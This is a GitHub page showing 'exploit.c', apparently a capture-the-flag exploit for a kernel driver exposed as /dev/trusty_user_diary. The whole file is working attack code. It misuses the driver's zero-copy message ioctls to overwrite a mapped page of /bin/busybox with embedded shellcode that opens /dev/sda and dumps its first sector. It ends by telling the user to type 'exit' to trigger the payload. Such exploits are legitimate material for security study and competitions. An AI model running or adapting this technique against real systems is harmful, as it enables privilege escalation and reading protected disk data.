-
Notifications
You must be signed in to change notification settings - Fork 1
/
exploit.c
98 lines (77 loc) · 2.51 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include "trusty_user_diary.h"
#define PAGE_SHIFT 12
#define PAGE_SIZE (1UL << PAGE_SHIFT)
#define PAGE_MASK (~(PAGE_SIZE-1))
#define MESSAGE_SIZE 0x4000
#define MESSAGE_NUM_PAGES (MESSAGE_SIZE / 0x1000U)
#define COMPLETE_SIZE PAGE_SIZE*MESSAGE_NUM_PAGES
unsigned char shellcode_bin[] = {
0x48, 0x31, 0xc0, 0x50, 0x04, 0x02, 0x48, 0xbf, 0x2f, 0x64, 0x65, 0x76,
0x2f, 0x73, 0x64, 0x61, 0x57, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xf6, 0x0f,
0x05, 0x48, 0x89, 0xc7, 0x66, 0x81, 0xec, 0xff, 0x0f, 0x48, 0x8d, 0x34,
0x24, 0x48, 0x31, 0xd2, 0x66, 0xba, 0x00, 0x02, 0x48, 0x31, 0xc0, 0x0f,
0x05, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x01, 0x48, 0x89, 0xc2, 0x48,
0x31, 0xc0, 0x04, 0x01, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0x04, 0x3c, 0x0f,
0x05
};
unsigned int shellcode_bin_len = 73;
int main(void){
int fd = open("/dev/trusty_user_diary", O_RDWR);
if(fd < 0){
perror("open dev");
return -1;
}
int fd_busybox = open("/bin/busybox", O_RDONLY);
if(fd_busybox < 0){
perror("open busybox");
return -1;
}
void *busybox_map = mmap((void *)0x7f2e69c17000, PAGE_SIZE*3, PROT_READ,
MAP_PRIVATE|MAP_FIXED, fd_busybox, 0);
if(busybox_map == MAP_FAILED){
perror("busybox map");
return -1;
}
printf("Busybox page allocated at : 0x%llx\n", busybox_map);
void *mapped_pages = mmap((void *)0x7f2e69c16000, PAGE_SIZE*1,
PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0);
if(mapped_pages == MAP_FAILED){
perror("mapped_pages failed");
return -1;
}
printf("Mapped pages allocated at : 0x%llx\n", mapped_pages);
struct add_message_request req;
req.va_page = (unsigned long)mapped_pages;
req.id = 0x17;
if (ioctl(fd, ADD_MESSAGE_ZERO_COPY, &req) < 0){
perror("ADD_MESSAGE_ZERO_COPY 1 syscall");
return -1;
}
void *read_page = mmap(NULL, PAGE_SIZE*MESSAGE_NUM_PAGES,
PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
struct read_message_request read_msg;
read_msg.id = 0x17;
read_msg.dest_message = read_page;
if (ioctl(fd, READ_MESSAGE, &read_msg) < 0){
perror("READ_MESSAGE syscall");
return -1;
}
memcpy(read_page+(PAGE_SIZE*2), shellcode_bin, shellcode_bin_len);
struct update_message_request update;
update.id = 0x17;
update.new_message = read_page;
if (ioctl(fd, UPDATE_MESSAGE, &update) < 0){
perror("UPDATE_MESSAGE syscall");
return -1;
}
printf("Written shellcode...\nSimply type 'exit' and enter\n");
return 0;
}